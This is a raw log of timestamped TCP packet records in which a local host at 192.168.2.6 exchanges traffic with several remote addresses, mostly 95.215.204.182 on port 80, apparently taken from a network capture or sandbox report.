Nov 7, 2024 17:25:48.164897919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.164941072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.189836025 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.189965963 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.208184958 CET	443	50001	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.208849907 CET	50001	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.208878994 CET	443	50001	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.209389925 CET	50001	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.209403038 CET	443	50001	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.215854883 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.215884924 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.215964079 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.215977907 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.216156960 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.223196030 CET	443	50000	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.224205017 CET	50000	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.224217892 CET	443	50000	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.224972963 CET	50000	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.224977970 CET	443	50000	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.236576080 CET	443	49999	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.238049030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238059998 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238070965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238118887 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.238130093 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.238524914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238538980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238548994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238559961 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238570929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238581896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238588095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.238600016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238619089 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.238635063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.238662958 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238673925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238682985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238715887 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.238847017 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238857031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.238881111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.238915920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.239033937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239043951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239053965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239084005 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.239109993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.239217997 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239228964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239238977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239249945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239259005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239265919 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.239275932 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239284992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239296913 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.239301920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239310980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239324093 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.239331007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239339113 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.239371061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.239528894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239537954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239548922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239558935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239567995 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.239589930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.239886999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239897966 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.239948988 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240080118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240089893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240099907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240112066 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240119934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240128994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240142107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240147114 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240154982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240164995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240174055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240180969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240190029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240197897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240206003 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240214109 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240220070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240231037 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240251064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240403891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240415096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240444899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240454912 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240549088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240560055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240570068 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240581036 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240586996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240600109 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240603924 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240616083 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240623951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240633965 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240639925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240649939 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240659952 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240665913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240674973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240685940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240695000 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240705967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240727901 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240750074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240894079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240904093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240914106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240925074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.240947008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.240968943 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241209030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241219997 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241230011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241235971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241240978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241247892 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241286039 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241390944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241401911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241410971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241420984 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241430044 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241437912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241449118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241455078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241462946 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241470098 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241482019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241492987 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241498947 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241528034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241534948 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241553068 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241564035 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241570950 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241580963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241590023 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241606951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241691113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241699934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241705894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241749048 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241873026 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241883993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241893053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241904020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241914034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241919041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241929054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241940022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241946936 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241955996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241962910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.241971016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.241977930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242006063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242023945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242033005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242043972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242053032 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242088079 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242202044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242213011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242223024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242235899 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242240906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242250919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242264986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242290020 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242393970 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242403984 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242413044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242423058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242429972 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242445946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242453098 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242461920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242472887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242480040 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242487907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242496014 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242506027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242516041 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242522955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242531061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242549896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242573023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242582083 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242592096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242602110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242629051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242769957 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242782116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242791891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242800951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242810011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242820024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242830992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242842913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242851019 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242861986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242882013 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242894888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242898941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.242944002 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.242981911 CET	49999	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.242990017 CET	443	49999	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.243076086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.243084908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.243093967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.243104935 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.243109941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.243119001 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.243134022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.243170023 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.243877888 CET	443	49999	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.243949890 CET	49999	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.246578932 CET	49999	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.246629953 CET	443	49999	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.247031927 CET	49999	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.247039080 CET	443	49999	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.247303963 CET	49999	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.247337103 CET	443	49999	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.279743910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.279793978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.279804945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.279834032 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.279834032 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.279860020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.279870987 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.279881001 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.279896021 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.279920101 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.296130896 CET	443	50002	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.301954985 CET	50002	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.301975012 CET	443	50002	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.302519083 CET	50002	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.302525997 CET	443	50002	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.317301989 CET	443	49998	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.317549944 CET	49998	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.317560911 CET	443	49998	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.317900896 CET	443	49998	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.318995953 CET	49998	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.319056988 CET	443	49998	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.319272041 CET	49998	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.319320917 CET	49998	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.319336891 CET	443	49998	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.322360992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.322376966 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.322387934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.322446108 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.322484970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.325319052 CET	50005	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.325344086 CET	443	50005	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.325408936 CET	50005	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.325880051 CET	50005	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.325894117 CET	443	50005	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.331571102 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.331595898 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.331650019 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.331660032 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.331688881 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.331702948 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.332299948 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.332356930 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.337521076 CET	443	50001	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.337970018 CET	443	50001	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.338036060 CET	50001	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.377480030 CET	443	50000	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.377686024 CET	443	50000	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.377862930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.377940893 CET	50000	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.378098965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378128052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378155947 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378211975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378249884 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378278971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378290892 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378321886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378339052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378374100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378385067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378395081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378406048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378429890 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378456116 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378567934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378583908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378595114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378604889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378617048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378622055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378629923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378643036 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378648996 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378654003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378668070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378669024 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378684998 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378704071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378710985 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378720999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378734112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378742933 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378757954 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378773928 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378813982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378825903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378835917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378846884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378854036 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378859997 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378878117 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378878117 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378892899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378894091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.378918886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.378935099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379055023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379066944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379079103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379090071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379092932 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379102945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379107952 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379121065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379132986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379133940 CET	80	49911	95.215.204.182	192.168.2.6
